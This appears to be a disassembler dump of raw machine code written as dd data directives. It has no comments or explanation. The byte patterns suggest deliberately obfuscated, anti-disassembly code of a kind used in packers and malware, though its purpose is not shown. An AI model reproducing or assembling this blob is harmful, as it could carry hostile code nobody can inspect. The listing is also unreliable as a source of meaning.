		dd 0A4AB5CE4h, 0F516904h, 683h,	4DB50900h, 5B061F03h, 266D8D89h
		dd 0B5FF061Fh, 622B255h, 1CE1BD8Bh, 95FF061Fh, 61F0E1Dh
		dd 729ABB66h, 2C0DBD83h, 0F00061Fh, 7684h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 46DC1F06h, 0A98E76ABh, 8BFEBF0Fh, 1F2C359Dh,	52505006h
		dd 0FD98B66h, 0FE931h, 0CFB20000h, 9663C294h, 8E795FE1h
		dd 91EBF02Ah, 89585A1Bh, 6A2434h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 5FCA2DC3h, 7B4CCAA8h
		dd 669F6301h, 0FFDF8FBFh, 22B255B5h, 0B58B6006h, 61F1405h
		dd 0FF61A3B2h, 1F134995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 9950369Dh
		dd 4689B17Dh, 6CDF81FEh, 0FF1B4C22h, 22B255B5h,	0EE906h
		dd 49730000h, 6A41E9EFh, 435200B0h, 31F9891Ah, 107595FFh
		dd 6A061Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0B0FC7DC3h, 68493202h, 0BD831DADh, 61F0009h
		dd 3B840F02h, 60000000h, 0F35BD8Bh, 8B61061Fh, 51858BD9h
		dd 8B061F17h, 1F2FB59Dh, 0C606h, 0E852006Ah, 3,	5AC35A20h
		dd 4245489h, 4244481h, 14h, 0BBC35242h,	810Fh, 85C70000h
		dd 61F1291h, 0
		dd 4BE9D88Bh, 0F8FFFFF4h, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0D29D2CC3h, 0BE9h, 82E10300h
		dd 0DA105207h, 43E9D1AEh, 0AE9h, 0B5943800h, 116971E4h
		dd 8DD1E95Fh, 1F19BD85h, 8F0F9006h, 10h, 0BE9h,	1106AB00h
		dd 936DF13Eh, 28C9033Eh, 8B525050h, 0E8310FFBh,	0Eh, 0A9E86C1Dh
		dd 191B8763h, 6E2C83F4h, 0BF66F434h, 5A5FF3A3h,	850F9058h
		dd 4, 8E3CBF66h, 8166006Ah, 6A15E5D3h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 0E74C9644h, 65858D97h, 6A0623FAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 9B6EC355h
		dd 0DBA4A084h, 5EBB412h, 128EBF66h, 8B05C083h, 1F11F59Dh
		dd 0F88B5006h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 3FFC357h, 9F653618h
		dd 0F38032B2h, 89006AE9h, 1F2B158Dh, 29006A06h,	1F13999Dh
		dd 6195FF06h, 6A061F01h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0AEBAC357h,	0E0997DF1h
		dd 8B9ABE0Bh, 1F20BDBDh, 0F28D8D06h, 890622B1h,	1F0C698Dh
		dd 0BF665606h, 0FF5B5CAAh, 57006AD1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0C283E288h
		dd 0BD83F5C8h, 61F0EF5h, 72850F01h, 0F000000h, 38Ah, 0D98B6600h
		dd 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0FFE66C3h, 681h, 6DBD0300h, 50061F1Ah, 6E8h
		dd 907A5700h, 0BF27E025h, 3727562Eh, 2404895Fh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0F1C35040h, 0B70FF567h
		dd 5595FFFBh, 8B061F2Fh, 0D6DE9DEh, 0E80000h, 5D000000h
		dd 0FA6FED81h, 6A0623h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 6661CFC3h, 0EE8FB8Bh, 11000000h
		dd 2EB2BFFh, 0E944FBEBh, 0E156C18h, 0FD8D8918h,	5F061F0Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 50C35747h
		dd 0E94458E0h, 6, 595F011Fh, 858DC8B9h,	6228EE4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 45C35545h, 0FDFA1D87h
		dd 50DD0DA6h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0F0D7C351h,	716508FEh
		dd 0FF64B038h, 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 9D8BDFC0h, 61F1571h, 258964h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0F44BC350h, 0EAF94005h, 1DE19589h
		dd 0FFF9061Fh, 1F102985h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0BFE8F2F5h
		dd 0D59D8BC0h, 6A061F0Ah, 55006AFFh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0C0DB027Bh
		dd 0B5FFE341h, 61F1575h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 8C35343h, 5BE78128h, 0FF128CC5h, 1F1CED95h
		dd 0FEE906h, 0BD8B0000h, 61F1101h, 816600B0h, 0E6E07CCBh
		dd 0F606070h, 8Ah, 0FE900h, 80B0000h, 0AE8E35E8h, 0AB95207Dh
		dd 0B7C6C35Fh, 0F38B61D2h, 6071E461h, 2C71BD8Bh, 0F281061Fh
		dd 3D0B608Fh, 0F613C61h, 0B783h, 81958900h, 0F061F11h
		dd 9D89C8B6h, 61F0FA5h,	6BAh, 98D8900h,	8B061F15h, 1D9531C1h
		dd 89061F17h, 1F071D95h, 4E8C106h, 8BE2F766h, 33C82BFBh
		dd 1F303DBDh, 0FD18B06h, 75E9FABFh, 8B000000h, 1F08D59Dh
		dd 50858B06h, 8947554Ch, 1F14E98Dh, 7C08306h, 0C437D381h
		dd 0C0830E2Ah, 4D9D8900h, 3B061F27h, 12830FD0h,	81000000h
		dd 1B5F0E3h, 3EE966h, 33F90000h, 1F0A0DBDh, 0FF8D8B06h
		dd 66FFFFFFh, 0A69F381h, 0F01E183h, 2384h, 219D3300h, 8A061F2Fh
		dd 0FFA583DCh, 0FEFFFFFFh, 89DA8B66h, 554C5095h, 0F9BD8B47h
		dd 0E9061F13h, 0
		dd 7B8EB58Dh, 8B600623h, 61EC8AD9h, 9D01006Ah, 61F15ADh
		dd 1D4595FFh, 0BF0F061Fh, 59D33FFh, 0B9061F08h,	0F95h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 29C35343h
		dd 58D0E6F1h, 66E2DB14h, 8373C9BFh, 6AFCE1h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 93060DC3h
		dd 0AFD03369h, 0FCF38CF1h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0C3C35141h, 7DBEA455h, 0B9BD8Bh, 0C02B061Fh
		dd 2DA59D89h, 0D22B061Fh, 6800Fh, 0D7810000h, 7C671518h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 23119D89h, 6A061Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 4D3EB5C3h, 0C3D68D7Eh, 890F7D2Fh, 0Ch, 6850Fh, 8D890000h
		dd 61F2061h, 622BB66h, 880Dh, 0BD89F800h, 61F242Dh, 0B5D958Bh
		dd 0CB81061Fh, 5FCE2AE8h, 20C58D8Bh, 6A061Fh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 60AB67C3h
		dd 30C5BD89h, 870F061Fh, 6, 2FD9D01h, 5061061Fh, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0FDC48519h
		dd 8B05A880h, 1F3019BDh, 50FE8B06h, 5B19D89h, 835F061Fh
		dd 1F078DBDh, 840F0006h, 62h, 0B8h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 90939FCCh
		dd 0B08D8D64h, 0E9061F4Dh, 6, 8FDDC84Ch, 0E1FF8BD0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 70C35242h, 3F4D3947h
		dd 0EB906041h, 66DBBF0Fh, 0BD83DF8Bh, 61F137Dh,	0D0840F00h
		dd 31000003h, 1F2EFD95h, 7DBD8306h, 1061F13h, 3D8840Fh
		dd 89570000h, 1F2BE9BDh, 0BD835F06h, 61F137Dh, 8D860F03h
		dd 6A000003h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0FF5CC356h, 0D781664Ch, 0EB817763h
		dd 4C16A809h, 830F5260h, 6, 8C0Fh, 665B0000h, 6AD98Ch
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 9589A3C3h, 61F2E75h,	8104E180h, 3CA449E7h, 0FC90A7Fh
		dd 13F84h, 31950100h, 8B061F12h, 1F0DC185h, 68F0F06h, 9000000h
		dd 1F32E5BDh, 0C9853306h, 57061F2Eh, 2F058589h,	905B061Fh
		dd 0EE9h, 74422D00h, 0FA330B23h, 0ACF63B33h, 501ABFE2h
		dd 90F98B66h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0C3E5CBC3h, 0F53B0884h, 0B6D0BF66h
		dd 4E8h, 1F03FF00h, 8E800h, 35590000h, 0E0E1B1C5h, 505B0B03h
		dd 0EF0FBF66h, 424448Bh, 178F0Fh, 12E90000h, 0D5000000h
		dd 7A46CD5Fh, 0A36E7519h, 33712E7Bh, 0FC4DFF8h,	66008BA0h
		dd 89C4E2BBh, 0E9042444h, 5, 13BD1810h,	6A5878h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0B0B03AC3h, 48211216h, 830Fh, 95FF0000h, 61F2DE1h, 0A899509h
		dd 0BE9061Fh, 4E000000h, 9E318BB2h, 9E3FA434h, 8589F0FAh
		dd 622B255h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0C7C35545h, 10E9h, 64EE9E00h, 0A98A4406h, 7E0D017Dh
		dd 8153E4Dh, 17BE9C2h, 0BD310000h, 61F0F55h, 0B24D858Bh
		dd 0BF0F0622h, 1800C7D9h, 0B7000000h, 51B58BF9h, 6A0622B2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 954AC355h, 996FB8Dh, 13A1858Bh, 6A061Fh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0C71C48C3h, 6A0689h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 82D6AAC3h, 13E9B6h, 0A02A0000h
		dd 0BCEE264Ah, 0ED1942B0h, 9BEC8CDCh, 0DDC776B2h, 0C1858B64h
		dd 6A061F0Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 3240C351h, 0AC087F8Fh,	89DE920Ch
		dd 0B5890446h, 61F1345h, 0FA8B6650h, 6A243489h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 9C1FC357h, 0B40BC63Fh, 0FCED4122h, 0B24DB5FFh, 0B5890622h
		dd 61F0801h, 38F0Fh, 8B660000h,	145268FEh, 72B33FEDh, 0AD243481h
		dd 6A3FF217h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0AFBEC353h, 8B73687Fh,	1F0E85BDh
		dd 55858D06h, 8B0622B2h, 0BF6690D8h, 0E9505A52h, 11h, 23C96C8Ch
		dd 997B04CEh, 38F98E46h, 680445E8h, 0F60909Eh, 48Fh, 0EEBE6600h
		dd 95FF61DDh, 61F2DE1h,	6A61F5h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 95C45DC3h, 26799D8Bh
		dd 85C7061Fh, 61F137Dh,	3, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 67C35040h, 219D8951h,	5B061F20h, 0B255BD83h
		dd 0F000622h, 0B84h, 0ED9D0B00h, 0E9061F2Fh, 1Bh, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0E9C08B00h, 9, 0E6A2BA88h
		dd 3B3BA683h, 8166603Eh, 89B314C0h, 1F12C58Dh, 0BD836106h
		dd 61F137Dh, 52850F03h,	56000004h, 1D0D9D0Bh, 835F061Fh
		dd 22B255BDh, 840F0006h, 43Dh, 8B3EDF81h, 0A9BF68BBh, 0FF0313D3h
		dd 22B255B5h, 0BE906h, 88CF0000h, 0A84299AFh, 4551F4B7h
		dd 898D89E3h, 0FF061F1Dh, 1F1BC995h, 9D8B5106h,	61F02FDh
		dd 49B58B5Fh, 330622B2h, 1F14A5BDh, 106C706h, 2B000100h
		dd 1F07D9BDh, 66609606h, 0F57F28Bh, 8Bh, 50615F00h, 4C6CC2BBh
		dd 8950962Ah, 1F1565BDh, 0B5FF5B06h, 622B255h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0E3C35040h, 95FFD98Ah
		dd 61F1621h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	58C35040h, 24734ED9h, 0CCB2C91Dh, 49B58B0Dh, 890622B2h
		dd 1F0D65B5h, 0F1858B06h, 6A061F2Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C8DEC352h
		dd 8B2F158Fh, 1F0FB5BDh, 0D88B6606h, 0C48689h, 9D310000h
		dd 61F1C45h, 0B5D958Bh,	8D89061Fh, 61F231Dh, 6A04C283h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 8977C357h, 0B70F2050h, 97858DF9h,	0F0622C7h
		dd 8689FEBFh, 0B8h, 6E860h, 6F300000h, 2FD7FE79h, 1CF1B589h
		dd 0B5F061Fh, 1F208DB5h, 6A6106h, 0EE8h, 0EE6E4600h, 986D7434h
		dd 0D1A80CA2h, 0E96C50C3h, 14h,	4103F6C8h, 16F994FCh, 0EECFACD9h
		dd 2C3D054Bh, 3C01AA20h, 55B5FF5Bh, 0E90622B2h,	12h, 0B1BAC186h
		dd 17AE88C8h, 0A5AC8F69h, 0CD9FE6F6h, 95FF5306h, 61F2F55h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0AC35747h
		dd 61BD2BC5h, 60061F02h, 1181B529h, 6660061Fh, 61F5F98Bh
		dd 8C0F5061h, 0
aI4J		db '‰4$j',0
		db 55h,	0E8h, 3
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 5038C355h, 28B0Fh, 5F510000h, 55B5FF5Bh, 6A0622B2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0FABCC351h, 1E870F46h, 0E8000000h, 12h, 81E1E08Fh
		dd 127FD9DBh, 3044D4D0h, 2559C328h, 858995EFh, 61F1A5Dh
		dd 1D95FF5Bh, 8B061F0Eh, 1F326D9Dh, 0DBD8306h, 61F2Ch
		dd 44840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0C1412EC3h, 3EE04623h, 50C89BB2h
		dd 0BE605250h, 72BD5ACh, 310F5250h, 0F61585Ah, 5AFE8A31h
		dd 24348958h, 0E6D9D8Bh, 0B5FF061Fh, 622B255h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0AEC35040h, 0FED703Eh
		dd 686h, 0B9B58900h, 0FF061F1Fh, 1F134995h, 659D8906h
		dd 0FF061F1Dh, 22B255B5h, 7B96006h, 0F0CD99Ah, 688h, 820F00h
		dd 61000000h, 107595FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 1F769AC3h, 0E063E4Ch
		dd 14E84Bh, 0AD300000h,	12566BF5h, 75C5B161h, 21276C42h
		dd 9D9627CBh, 8D293284h, 61F1FFDh, 13E95Fh, 816B0000h
		dd 0C1D2703Dh, 0A7A7EB4Eh, 6BC24C23h, 7A41D9F5h, 9BD835Ah
		dd 2061F00h, 98840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 2F22A2C3h, 8BF85582h
		dd 1F175185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0EE899h, 127F0000h, 3044D4D0h, 2559C328h
		dd 6E5095EFh, 0C65BFB8Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 1C44C0C3h, 11E8BEE3h
		dd 3B000000h, 0E522D59h, 87AD1ADFh, 0D650C75h, 111E629Ah
		dd 88DB2FBBh, 85C75B7Ah, 61F1291h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 47C35040h
		dd 8B1A21F4h, 93BB66FAh, 0F415E961h, 8960FFFFh,	1F240D85h
		dd 61DE8B06h, 68D0Fh, 9D8B0000h, 61F1A0Dh, 6AC18Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0D07E66C3h, 198D89C0h, 8D061F0Bh, 1F19BD85h,	358D3106h
		dd 8B061F23h, 1F32D59Dh, 5BBB5006h, 896C38D5h, 6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 6AB7C3h, 0BE9h, 57FC4A00h, 1525DF5Fh, 0F9614A0Dh, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 5A7035C3h, 0FAD0B85Fh, 8BFA8B66h, 0D3858DDAh, 6A062409h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 5754C351h, 3EB178E7h, 9D8B7091h, 61F1EA9h
		dd 48A0BB66h, 0BB05C083h, 5AF8CC10h, 13E850h, 1DB30000h
		dd 4B94C68Eh, 0EB779D1Bh, 6119CE9Eh, 8ED385EEh,	2820F1Ch
		dd 8B000000h, 4895BFAh,	13E924h, 0F7EB0000h, 9772F3C6h
		dd 0C607366Ah, 6A77C683h, 0D1091416h, 6A006A32h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0F5956D0h, 0BD03DFB7h, 61F16E9h, 2EA5BD8Bh, 95FF061Fh
		dd 61F0161h, 5870Fh, 86BB0000h,	8D074F40h, 22B1F28Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0BE1DA3F8h, 8895D7B4h, 0BB66D1FFh, 8F0F65B9h, 6, 0DE59D8Bh
		dd 0BD83061Fh, 61F0EF5h, 88850F01h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 2C7DC357h, 8614D560h, 6A30B0BAh, 7E902h, 0A7270000h
		dd 387302A3h, 52509052h, 52505250h, 585A310Fh, 7FB3310Fh
		dd 310F585Ah, 585AACB3h, 33609050h, 1F1709BDh, 79958906h
		dd 61061F13h, 95952960h, 61061F2Dh, 2F5595FFh, 6A061Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 2D08B6C3h, 0E92CF380h, 0EB0h, 0E8h, 0ED815D00h, 62409DDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0FCC35141h
		dd 8D508A35h, 3BB9AA08h, 0C4BE60F5h, 6139CE4Dh,	8EE4858Dh
		dd 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0DEE3FCC3h, 0F98B6650h, 8B240489h, 1F0BB9BDh
		dd 35FF6406h, 0
		dd 2BCDBD89h, 8964061Fh, 25h, 0FE900h, 0C2A10000h, 0C15CDA2Eh
		dd 81B6EF30h, 28D89BA2h, 2985FF3Bh, 6A061F10h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 75C0C351h, 0DB2A7BDFh, 0FF6AC428h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 64C35646h, 5B5FFF8h, 8B061F01h
		dd 0ED95FFF8h, 0E9061F1Ch, 10Ah, 2A51B589h, 0B0061Fh, 0FE9h
		dd 213A2F00h, 426043E0h, 79F2CC69h, 92CE099Bh, 0BD8B70E6h
		dd 61F1449h, 43BB71E4h,	3C4C37DBh, 0D7830F61h, 8B000000h
		dd 0C8B60FFAh, 0BAFB8B66h, 6, 2FDB531h,	9D8B061Fh, 61F2AB9h
		dd 0BD8BC18Bh, 61F1181h, 8904E8C1h, 1F0AD1B5h, 0E2F76606h
		dd 0C82BD88Bh, 7956F781h, 0D18B75C3h, 97E906B3h, 0E8000000h
		dd 10h,	15836BB0h, 84B6A87Bh, 989813DDh, 654353E7h, 0F8B70F52h
		dd 858B5F5Fh, 44004E49h, 2EB59589h, 0C083061Fh,	76EF8107h
		dd 837EF266h, 830F00C0h, 6, 2C9DBD8Bh, 0D03B061Fh, 0B830Fh
		dd 8B660000h, 48E9D8h, 8B660000h, 0FF8D8BFBh, 0E8FFFFFFh
		dd 0Dh,	31FBE60Ah, 7BA155EEh, 0C34E6944h, 0FBB70F67h, 1E1835Fh
		dd 20840Fh, 0BD0B0000h,	61F18D1h, 0FFFFA583h, 0FFEFFFFh
		dd 9589FEBFh, 44004E49h, 10EB8166h, 0E99Dh, 0B58D0000h
		dd 6238B23h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0C0C35646h, 0F5BFC366h,	0BD8BA705h, 61F1CE9h, 2B09BD8Bh
		dd 6A061Fh, 68E0Fh, 85890000h, 61F110Dh, 1D4595FFh, 6A061Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 9E8AE3C3h, 0D8B91C5Fh, 0E900000Fh, 13h, 56411DECh, 11825318h
		dd 3ECFFC22h, 0C74B40A7h, 8359B4D8h, 0DD8AFCE1h, 50006AFCh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 357FB21Ah, 0F54BD0Bh, 386h, 0F9BF0F00h, 0B8h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 5EBA8C62h, 1A553150h, 4DB501ABh, 2B061F1Fh, 53006AD2h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 2D6C7037h, 6CBDAC7h,	8B663331h, 0C233ADDFh, 0D003E8D1h
		dd 7504E983h, 0B70F60F4h, 698D8BDAh, 61061F0Ah,	8E8h, 419CB00h
		dd 82363FCCh, 0E95BF956h, 12h, 0DFE0AD7Dh, 0D45533BCh
		dd 0C25428CBh, 9CDD2FA3h, 880D9375h, 0F000000h,	1D8Fh
		dd 178B0F00h, 0E8000000h, 11h, 0B9F20C8Ch, 0F60676B3h
		dd 7C02E281h, 0CA881FCh, 958B5FAEh, 61F0B5Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8FC35545h, 0DB81661Eh
		dd 0E9570614h, 7, 0A385FEB7h, 5BA0D618h, 20C58D8Bh, 8166061Fh
		dd 50EB8DD3h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 619D8B58h, 6A061F00h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0A248C350h,	8E0FF5DCh
		dd 19h,	14E9h, 72BE3300h, 4D0A2F4h, 0A996795h, 0A7A149DDh
		dd 2E789ECDh, 8DBD8390h, 61F07h, 9B840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0E78201C3h, 0DB99C63Dh, 7E9h, 1FAEC000h, 0F660B734h
		dd 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0E907D0BBh, 12h, 0B06FB12Bh, 0BAB73E5Fh
		dd 0C121FD57h, 685D3A03h, 8D8DAF61h, 61F4DB0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 52C35545h, 899230EEh
		dd 1F32958Dh, 89E1FF06h, 1F0CF99Dh, 7DBD8306h, 61F13h
		dd 4AE840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0BF463DC3h, 3F28E3E5h, 0BD835B50h
		dd 61F137Dh, 98840F01h,	6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0EEAC350h
		dd 0BD9910A7h, 12E8AAh,	0AD340000h, 40F4E831h, 993B2CDEh
		dd 60319586h, 803960A0h, 0FE9h,	982E3000h, 0D7838DADh
		dd 23877BDAh, 45C9766Ch, 1860F5Fh, 0F9000000h, 137DBD83h
		dd 0F03061Fh, 40086h, 1D853100h, 66061F17h, 4BE8D381h
		dd 0FAB70F60h, 0F8D98C66h, 0E904E180h, 9, 7A93297Bh, 7D0B75A4h
		dd 0FC90ABBh, 16584h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 35381C0Bh, 41BD8BDEh
		dd 0BF061F14h, 42C7020Ch, 0DC1858Bh, 6A061Fh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0E576A0C3h
		dd 0F1B70F60h, 1709952Bh, 3361061Fh, 1F2EC985h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 2D2DA2EBh, 0A943F7DEh, 81666324h, 0FA43ADFh,	0E990FABFh
		dd 0Eh,	6AE2D934h, 71941453h, 259E70B9h, 8A50AAAEh, 8F0F90D9h
		dd 6, 0D177DB81h, 6A0609h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0ADC35040h, 9E9F994h,	59000000h, 3488FE70h
		dd 0C55664FEh, 6834EF80h, 4EC16B9Ch, 0EE8h, 3E81FA00h
		dd 80272561h, 432EFDB2h, 8BEE1A56h, 34815FDEh, 0DE686324h
		dd 12E9604Eh, 4A000000h, 2499F961h, 5B73FD3h, 99EECE1h
		dd 9409110Bh, 61CA8A94h, 2DE195FFh, 9D8B061Fh, 61F1ED1h
		dd 0B2558589h, 6A0622h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0C27DF0C3h, 0FC6D9072h, 9D0B2E00h
		dd 61F0FB9h, 1D1E9h, 2E40BF00h,	858B255Ah, 622B24Dh, 19598589h
		dd 0C7061Fh, 18h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	4EC35343h, 7286488h, 0ACE6C558h, 68E0Fh, 9D890000h
		dd 61F0325h, 0B251B58Bh, 33B30622h, 13A1858Bh, 0AABF061Fh
		dd 89771A60h, 0DE906h, 89EB0000h, 35F770C8h, 0D607C693h
		dd 8B3818A5h, 1F0DC185h, 8D895006h, 61F20A9h, 446895Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DC35646h
		dd 0D4BF5C38h, 8A0F5015h, 2, 505B6160h,	6A243489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 9BC357h, 0FFA18357h,	22B24DB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 69A05F52h
		dd 0F57E0572h, 55BD8B7Eh, 68061F1Bh, 8E4A0E6Dh,	11E960h
		dd 0C06D0000h, 96D125A3h, 0BA6D6E97h, 0FCE65555h, 619C57D3h
		dd 92240481h, 6A71D4F5h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 421DC355h, 0E8577F04h
		dd 83D9589h, 858D061Fh,	622B255h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 33C35141h, 0FB8B90D0h, 2890F50h
		dd 8B000000h, 958990F9h, 61F2399h, 0EE8h, 7967B500h, 34EE6E46h
		dd 0A2986D74h, 5FD1A80Ch, 2DE195FFh, 6A061Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E88D6EC3h, 10h, 0FB0EF61Dh,	812B6D59h, 5419BBFDh, 0EE3AC4Dh
		dd 28D38166h, 3615B85h,	1F1A799Dh, 7D85C706h, 3061F13h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
